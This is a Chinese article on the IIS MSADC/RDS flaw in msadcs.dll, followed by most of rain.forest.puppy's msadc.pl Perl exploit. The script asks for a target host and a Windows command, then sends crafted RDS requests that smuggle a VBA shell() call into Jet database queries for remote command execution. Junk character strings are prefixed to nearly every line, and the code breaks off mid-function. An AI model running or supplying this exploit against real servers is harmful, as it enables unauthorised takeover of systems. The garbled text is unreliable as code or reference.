IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@I.OT G[-jZ 涉及程序:
Kj|F Microsoft NT server
_qo1 GM& l"!;Vkg.5 描述:
H 6<@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%,q#f# Ntrn("! 详细:
E4ee_`p 如果你没有时间读详细内容的话,就删除:
+!Ag n) c:\Program Files\Common Files\System\Msadc\msadcs.dll
rAdcMFW 有关的安全问题就没有了。
eh(]'%![/ 6oBt<r?CJ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
W>IKy# kYa'
] m 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
sjkl? _ 关于利用ODBC远程漏洞的描述,请参看:
5h7DVr! &4iIzw` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ] CE2/6Ph 4/vQ=t 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
^Wz{su2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1vd+p!n Kg67cmj)f 这里不再论述。
NVPYv#uK "t`e68{Ls 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
<7Lz<{jaJ @h8~xs~DG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
x;aZ& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_erH]E| [ emO!6]0gJ Q{kuB+s #将下面这段保存为txt文件,然后: "perl -x 文件名"
P=z':4,M} Ms3/P| {"p #!perl
<[~M|OL9q, #
q=(wK& # MSADC/RDS 'usage' (aka exploit) script
% m$Mnx #
h UDEjW@S # by rain.forest.puppy
$OuA<- #
%hQ`b$07t # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
H#akE\, # beta test and find errors!
@)wXP@7 D1a2|^zt
use Socket; use Getopt::Std;
k0|InP7 getopts("e:vd:h:XR", \%args);
tO$M[P=b T;7|d5][ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
wEyh;ID3# L;<]wKs if (!defined $args{h} && !defined $args{R}) {
!).dc.P print qq~
xRmB?kM3]5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
d7Z\ -h <host> = host you want to scan (ip or domain)
SY.V_O$l} -d <seconds> = delay between calls, default 1 second
wvY$s; -X = dump Index Server path table, if available
J3v uh# -v = verbose
VPzdT*g] -e = external dictionary file for step 5
>~k
Y{_ B{<6&bQ Or a -R will resume a command session
n"vI> _|G s RB8 jY ~; exit;}
6|x<)Gc Z~<V>b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&3MHe$ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
iuRXeiG8 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
-i4gzak if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Q&7Qht:ea: $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
na>B{6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
QaV*}W 2*N# %ZUX if (!defined $args{R}){ $ret = &has_msadc;
-!"8j"pA: die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z]dc%> 1k`!w} print "Please type the NT commandline you want to run (cmd /c assumed):\n"
E2l. . "cmd /c ";
BL7%MvDQ $in=<STDIN>; chomp $in;
wlJ_,wA $command="cmd /c " . $in ;
l
}[
4 *niQ*A if (defined $args{R}) {&load; exit;}
Iq9+ i?]!8Ji print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.,4&/cd &try_btcustmr;
ZWv$K0agu #HML=qK~ print "\nStep 2: Trying to make our own DSN...";
7G(X:! &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
6FfDif Pj$a$C`Z print "\nStep 3: Trying known DSNs...";
tpS F[W &known_dsn;
]pb3
Fm{ 4)?c[aC4P print "\nStep 4: Trying known .mdbs...";
W c nYD) &known_mdb;
mcvTz, ;= _oWenF if (defined $args{e}){
a2z o_h2R print "\nStep 5: Trying dictionary of DSN names...";
@#p4QEQA &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
H74hv`G9 '7$v@Tvnre print "Sorry Charley...maybe next time?\n";
'(Pbz
exit;
RZ -w,~ kG E|17I ##############################################################################
3|C"F-'< 9P]TIV. sub sendraw { # ripped and modded from whisker
8`+X6iZOQ sleep($delay); # it's a DoS on the server! At least on mine...
Mc.KLz&,FC my ($pstr)=@_;
6;VlX,,j socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i^=an?}/ die("Socket problems\n");
0pu'K)Rb if(connect(S,pack "SnA4x8",2,80,$target)){
bF3j* bpO" select(S); $|=1;
~{ HA!C# print $pstr; my @in=<S>;
YO=;)RA select(STDOUT); close(S);
G|o-C:~ return @in;
]M_)f } else { die("Can't connect...\n"); }}
G"'DoP7p9 z*FlZLHY ##############################################################################
C~
>'pS6%5 X;- ,3dy sub make_header { # make the HTTP request
|^FDsJUN my $msadc=<<EOT
Od"-w<' POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
P0W%30Dh User-Agent: ACTIVEDATA
3#dUQ1qo6 Host: $ip
0DN:{dJz Content-Length: $clen
k(Ow.nkb Connection: Keep-Alive
aPWFb.JO4 m0:8thZN ADCClientVersion:01.06
l_DPlY Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ImgKqp0Z 8z@A/$T --!ADM!ROX!YOUR!WORLD!
(33[N Content-Type: application/x-varg
ow+NT Content-Length: $reqlen
=uD2j9!"7 sH6srwI EOT
B} &C
h ; $msadc=~s/\n/\r\n/g;
T%Z `:mf return $msadc;}
7m8L!t9 ctj.rC)6n ##############################################################################
SJw0y[IL6( C}45ZI4 sub make_req { # make the RDS request
X!r!lW my ($switch, $p1, $p2)=@_;
Oi7|R7NE my $req=""; my $t1, $t2, $query, $dsn;
xU)~)eK |
YvO$4=s if ($switch==1){ # this is the btcustmr.mdb query
wp$SO^?- $query="Select * from Customers where City=" . make_shell();
Dz.U&+* $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-6#i~a] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
d@`yRueWiV 8 #0? elsif ($switch==2){ # this is general make table query
; <3w ,r $query="create table AZZ (B int, C varchar(10))";
s9@IOE GAt $dsn="$p1";}
6?2/b`k bvZmozbD elsif ($switch==3){ # this is general exploit table query
'tF<7\! $query="select * from AZZ where C=" . make_shell();
^
.>)*P $dsn="$p1";}
jt?R
a1Z OG0ro(|dI elsif ($switch==4){ # attempt to hork file info from index server
BC&Et62* $query="select path from scope()";
*_U
z**M $dsn="Provider=MSIDXS;";}
>C@fSmnOM C!v0*^i elsif ($switch==5){ # bad query
Ro?yCy:L' $query="select";
M1VRc[
RRo $dsn="$p1";}
NeUpl./b ZO:{9vt=/ $t1= make_unicode($query);
%x L3=4\ $t2= make_unicode($dsn);
fFMG9]* $req = "\x02\x00\x03\x00";
Xig%Q~oMp $req.= "\x08\x00" . pack ("S1", length($t1));
G| ^tqI $req.= "\x00\x00" . $t1 ;
n0nkv[ $req.= "\x08\x00" . pack ("S1", length($t2));
E/Y.f $req.= "\x00\x00" . $t2 ;
h|_G2p^J+" $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5Gg`+o return $req;}
'Zk&AD ~ Q-BciBh$ ##############################################################################
3KP6M= [96|xe\s sub make_shell { # this makes the shell() statement
+n1}({7m return "'|shell(\"$command\")|'";}
%5jxq9:K l{vi{9n) ##############################################################################
X2Y-TET a!4'}gHR sub make_unicode { # quick little function to convert to unicode
6SW:'u|90 my ($in)=@_; my $out;
i7:j(W^I8 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
?\.P return $out;}
Va?wG3 w mbSJ}3c" ##############################################################################
(8k3z` |\Jpjm)? sub rdo_success { # checks for RDO return success (this is kludge)
Qq^>7OU>Co my (@in) = @_; my $base=content_start(@in);
w9l)=[s= if($in[$base]=~/multipart\/mixed/){
Uo5l
=\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
m3K8hL/ return 0;}
" ?n~ /9` Q{V|{yV^y ##############################################################################
Fp|x,- *}A J7] sub make_dsn { # this makes a DSN for us
"P'W@ my @drives=("c","d","e","f");
.,<-lMC+ print "\nMaking DSN: ";
"VB-=. A foreach $drive (@drives) {
-i7W|X" print "$drive: ";
{}{|trr-E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!2$O^
}6" "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
OT\[qaK . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
\KDOI 7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[gQ*y~N return 0 if $2 eq "404"; # not found/doesn't exist
kT!FC0E{ if($2 eq "200") {
2y v'DS foreach $line (@results) {
UACWs3`s+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
?RA^Y N*9 } return 0;}
0:Ak4L6k Skq%S`1%Q ##############################################################################
iVREkZ2SC -D`*$rp, sub verify_exists {
zf4@:GM` my ($page)=@_;
sGc4^Z%l? my @results=sendraw("GET $page HTTP/1.0\n\n");
=0MW+-
return $results[0];}
O. V!L ^t?P32GJ ##############################################################################
iw12x: >jq~5HN sub try_btcustmr {
iKs/8n my @drives=("c","d","e","f");
B}C"Xc my @dirs=("winnt","winnt35","winnt351","win","windows");
8 U B?X hF.9\X] foreach $dir (@dirs) {
U8\[8~Xftn print "$dir -> "; # fun status so you can see progress
<._MNHC foreach $drive (@drives) {
Jx[IHE print "$drive: "; # ditto
~NMal]Fwx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
a)`b;]+9 $reqlenlen=length( "$reqlen" );
A|O7W|"W $clen= 206 + $reqlenlen + $reqlen;
)R<hYd XA-DJ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
O)kC[e4 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
CY<,p$ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
d@8=%x: w q% 4'( ##############################################################################
eZ(<hE> YJ'h=!p}G sub odbc_error {
FQ*4?D,A my (@in)=@_; my $base;
KE]!7+8- my $base = content_start(@in);
I;S[Ft8d if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
.Qn54tS0q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x24 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?PO~$dUc] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|-bSoq7t return $in[$base+4].$in[$base+5].$in[$base+6];}
Q
*![u5# print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
3U!\5Nsby print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
jV;&*4if $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ek1YaE
}H&NR?Ax ##############################################################################
G,FYj'<!7, <]r.wn=}M sub verbose {
++W_4 B! my ($in)=@_;
^,]'Ut return if !$verbose;
Uvgv<OR`_ print STDOUT "\n$in\n";}
,a9<\bd) O['gp~P" ##############################################################################
{s6;6>-kPW k6_RJ8I sub save {
dq%7A=- my ($p1, $p2, $p3, $p4)=@_;
_%Sorr open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Uc/MPCqZ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
RLOB close OUT;}
8l-+
4~mH >:%i,K*AM ##############################################################################
Q/o!&& R?a)2jl sub load {
JEL=,0J my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
GJ edW open(IN,"<rds.save") || die("Couldn't open rds.save\n");
.?UK`O2Q @p=<IN>; close(IN);
WHk/Rg%< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
3<LG~HWST $target= inet_aton($ip) || die("inet_aton problems");
RUC
V!L print "Resuming to $ip ...";
X[\b!<C $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
J)vP<.3: if($p[1]==1) {
*|h-iA+9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
E}sjl $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
PdcF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
B.vg2N if (rdo_success(@results)){print "Success!\n";}
*Nloa/a&9 else { print "failed\n"; verbose(odbc_error(@results));}}
=G2D4>q elsif ($p[1]==3){
"z)dz,&T if(run_query("$p[3]")){
vi')-1Y
KM print "Success!\n";} else { print "failed\n"; }}
-} \g[| elsif ($p[1]==4){
/~)vma1< if(run_query($drvst . "$p[3]")){
p8o
~ print "Success!\n"; } else { print "failed\n"; }}
-e_IDE exit;}
gO_{(\w* /Aooh~ ##############################################################################
M/C7<?& 7K>FCT sub create_table {
"vQ$RW
- my ($in)=@_;
H6X]D"Y, $reqlen=length( make_req(2,$in,"") ) - 28;
"PK\;#[W| $reqlenlen=length( "$reqlen" );
teH $hd-q $clen= 206 + $reqlenlen + $reqlen;
_\waA^ F my @results=sendraw(make_header() . make_req(2,$in,""));
":EfR`A# return 1 if rdo_success(@results);
p!BZTwP my $temp= odbc_error(@results); verbose($temp);
]`)50\pdw return 1 if $temp=~/Table 'AZZ' already exists/;
NPc]/n?vDj return 0;}
8gwJ%"-K "W$,dWF ##############################################################################
n=!]!'h\: 6<jh0=$ sub known_dsn {
`p1szZD& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d%VG@./xq my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
NKf][!bi "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
;Nf5,D.D "banner", "banners", "ads", "ADCDemo", "ADCTest");
Q= IA|rN fr
kDf-P foreach $dSn (@dsns) {
tn!z^W print ".";
-jy-KC next if (!is_access("DSN=$dSn"));
MT9c:7}[& if(create_table("DSN=$dSn")){
#
le<R print "$dSn successful\n";
-02cI}e if(run_query("DSN=$dSn")){
'0)a|1, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Lsa&A+fru print "Something's borked. Use verbose next time\n";}}} print "\n";}
ka? |_( Ex2TV7I ##############################################################################
k4r;t: O ^ ZlD\)6 dZ sub is_access {
t"Ok-!c| my ($in)=@_;
^Uss?)jN4 $reqlen=length( make_req(5,$in,"") ) - 28;
lj0"2@z3"E $reqlenlen=length( "$reqlen" );
aC:Sy^Tf $clen= 206 + $reqlenlen + $reqlen;
O|j(CaF my @results=sendraw(make_header() . make_req(5,$in,""));
$GhdH) my $temp= odbc_error(@results);
):HjpJvF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
/.{4
KW5 return 0;}
U5Say3r (#x<qi,T ##############################################################################
j}R!'m(P' W FVx7 sub run_query {
0gdFXh$!e my ($in)=@_;
[r,a0s $reqlen=length( make_req(3,$in,"") ) - 28;
z%-Yz-G9 $reqlenlen=length( "$reqlen" );
8q9HQ4dsL $clen= 206 + $reqlenlen + $reqlen;
|"h# Q[3 my @results=sendraw(make_header() . make_req(3,$in,""));
6[fp e return 1 if rdo_success(@results);
PqV9k,5f my $temp= odbc_error(@results); verbose($temp);
R~OameRR return 0;}
^Xv_y+ ^uB9EP*P ##############################################################################
*Kj*| >) 8xs}neDg* sub known_mdb {
zUX%$N+w}> my @drives=("c","d","e","f","g");
[>+R|;ln my @dirs=("winnt","winnt35","winnt351","win","windows");
T"7Ue my $dir, $drive, $mdb;
>i^8K U my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Y_m/? [: Q;r9>E! # this is sparse, because I don't know of many
DM
{r<?V my @sysmdbs=( "\\catroot\\icatalog.mdb",
X"_,#3Ko! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Bk,:a, "\\system32\\certmdb.mdb",
#ra"(/) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
AX6z4G Gx Z'" x my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M-inlZNR "\\cfusion\\cfapps\\forums\\forums_.mdb",
1>hY!nG h "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0>@D{_}s "\\cfusion\\cfapps\\security\\realm_.mdb",
%04N"^mT'~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ffMh2 "\\cfusion\\database\\cfexamples.mdb",
Ik[aiz "\\cfusion\\database\\cfsnippets.mdb",
9G njJ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Yq~$Q4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
*sNZ.Y:. "\\cfusion\\brighttiger\\database\\cleam.mdb",
/^_~NF# "\\cfusion\\database\\smpolicy.mdb",
P<<?7_ ?? "\\cfusion\\database\cypress.mdb",
tQ!p<Q=
$) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
M"cB6{st[ "\\website\\cgi-win\\dbsample.mdb",
}dnO7K "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
k?(x}IZdG "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
_X
?W)]: ); #these are just
hf5yTs foreach $drive (@drives) {
+um
Ua foreach $dir (@dirs){
)_[eqr foreach $mdb (@sysmdbs) {
$ =
uz print ".";
&f12Q&jY7 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_H[LUl9 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
{NmpTb if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
p)_v.D3i print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
tG!ApL } else { print "Something's borked. Use verbose next time\n"; }}}}}
6T3uv,2 "J51\8G@@ foreach $drive (@drives) {
Fk&W*<}/; foreach $mdb (@mdbs) {
>%qk2h> print ".";
D,cGW,2Nv if(create_table($drv . $drive . $dir . $mdb)){
Ql~9a
[8T~ print "\n" . $drive . $dir . $mdb . " successful\n";
\}CQo0v if(run_query($drv . $drive . $dir . $mdb)){
NBLiwL37{ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
t9zPUR } else { print "Something's borked. Use verbose next time\n"; }}}}
|jh&a+4W }
E0F8FR' FE}!I
##############################################################################
PwF
1Pr`r R$[nYw sub hork_idx {
c!,&]*h"k print "\nAttempting to dump Index Server tables...\n";
xZmO^F5KHj print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
*,C[yg1P $reqlen=length( make_req(4,"","") ) - 28;
b=V"$(Q $reqlenlen=length( "$reqlen" );
{_#~&I